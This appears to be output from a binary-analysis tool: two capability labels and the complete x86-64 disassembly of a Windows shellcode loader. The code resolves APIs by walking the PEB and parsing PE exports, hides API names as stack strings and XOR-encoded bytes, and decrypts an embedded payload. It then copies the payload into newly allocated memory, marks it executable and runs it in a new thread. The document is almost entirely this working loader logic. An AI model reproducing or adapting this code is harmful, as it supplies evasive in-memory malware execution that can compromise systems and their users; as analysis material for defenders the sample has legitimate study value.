Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x148
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x7c], 0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x94], 0x60
mov eax, dword [rsp + 0x94]
mov rax, qword gs:[rax]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0x100], rax
movabs rax, 0x47657450726f6341
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x138], 0
mov dword [rsp + 0x134], 0
jmp 0x140001147
mov rax, qword [rsp + 0x138]
shl rax, 8
mov rdx, rax
mov eax, dword [rsp + 0x134]
cdqe
movzx eax, byte [rsp + rax + 0x70]
movsx rax, al
or rax, rdx
mov qword [rsp + 0x138], rax
add dword [rsp + 0x134], 1
mov eax, dword [rsp + 0x134]
cmp eax, 7
jbe 0x140001113
mov dword [rsp + 0x130], 0
jmp 0x140001168
add dword [rsp + 0x130], 1
mov eax, dword [rsp + 0x130]
cdqe
lea rdx, [rax*4]
mov rax, qword [rsp + 0x100]
add rax, rdx
mov eax, dword [rax]
movsxd rdx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov rax, qword [rax]
cmp qword [rsp + 0x138], rax
jne 0x140001160
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0x130]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rsp + 0xf8]
add rax, rdx
movzx eax, word [rax]
movsx rax, ax
lea rdx, [rax*4]
mov rax, qword [rsp + 0xf0]
add rax, rdx
mov eax, dword [rax]
movsxd rdx, eax
mov rax, qword [rsp + 0x118]
add rax, rdx
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0xe0], rax
movabs rax, 0x7262694c64616f4c
mov qword [section..bss], rax
mov qword [0x140005008], 0x41797261
mov qword [rsp + 0x63], rax
movabs rax, 0x41797261726269
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x63]
mov rax, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xe8]
mov rcx, rax
call r8
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400032c0]
lea r8, [0x1400032a0]
mov edx, 0x290
lea rax, section..data
mov rcx, rax
call fcn.140001fbf
test eax, eax
je 0x1400015b8
mov byte [rsp + 0x56], 0x25
mov byte [rsp + 0x57], 0x1c
mov byte [rsp + 0x58], 2
mov byte [rsp + 0x59], 0x11
mov byte [rsp + 0x5a], 7
mov byte [rsp + 0x5b], 0x12
mov byte [rsp + 0x5c], 9
mov byte [rsp + 0x5d], 0x22
mov byte [rsp + 0x5e], 0x1e
mov byte [rsp + 0x5f], 9
mov byte [rsp + 0x60], 0x1b
mov byte [rsp + 0x61], 8
mov byte [rsp + 0x62], 0x65
mov r8, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
lea rax, [rsp + 0x56]
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0xd
mov rcx, rax
call fcn.140001661
mov r10, rax
mov eax, dword [rsp + 0x7c]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rsp + 0xd0], rax
mov byte [rsp + 0x4c], 0x4e
mov byte [rsp + 0x4d], 0x74
mov byte [rsp + 0x4e], 0x64
mov byte [rsp + 0x4f], 0x6c
mov byte [rsp + 0x50], 0x6c
mov byte [rsp + 0x51], 0x2e
mov byte [rsp + 0x52], 0x64
mov byte [rsp + 0x53], 0x6c
mov byte [rsp + 0x54], 0x6c
mov byte [rsp + 0x55], 0
lea rax, [rsp + 0x4c]
mov rdx, qword [rsp + 0xd8]
mov rcx, rax
call rdx
mov qword [rsp + 0xc8], rax
movabs rax, 0x4d65766f4d6c7452
mov qword [section..bss], rax
movabs rax, 0x79726f6d65
mov qword [0x140005008], rax
mov rax, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xe8]
lea rdx, [section..bss]
mov rcx, rax
call r8
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x7c]
mov ecx, eax
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0xd0]
mov r9, qword [rsp + 0xc0]
mov r8, rcx
mov rcx, rax
call r9
movabs rax, 0x506c617574726956
mov qword [section..bss], rax
movabs rax, 0x746365746f72
mov qword [0x140005008], rax
mov rax, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xe8]
lea rdx, [section..bss]
mov rcx, rax
call r8
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0x7c]
mov ecx, eax
lea rdx, [rsp + 0x78]
mov rax, qword [rsp + 0xd0]
mov r10, qword [rsp + 0xb8]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
je 0x1400015b9
movabs rax, 0x6854657461657243
mov qword [section..bss], rax
mov qword [0x140005008], 0x64616572
mov rax, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xe8]
lea rdx, [section..bss]
mov rcx, rax
call r8
mov qword [rsp + 0xa8], rax
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0xa8]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rsp + 0xa0], rax
movabs rax, 0x53726f4674696157
mov qword [section..bss], rax
movabs rax, 0x6a624f656c676e69
mov qword [0x140005008], rax
mov qword [0x140005010], 0x746365
mov rax, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xe8]
lea rdx, [section..bss]
mov rcx, rax
call r8
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x98]
mov edx, 0xffffffff
mov rcx, rax
call r8
jmp 0x1400015b9
nop
add rsp, 0x148
ret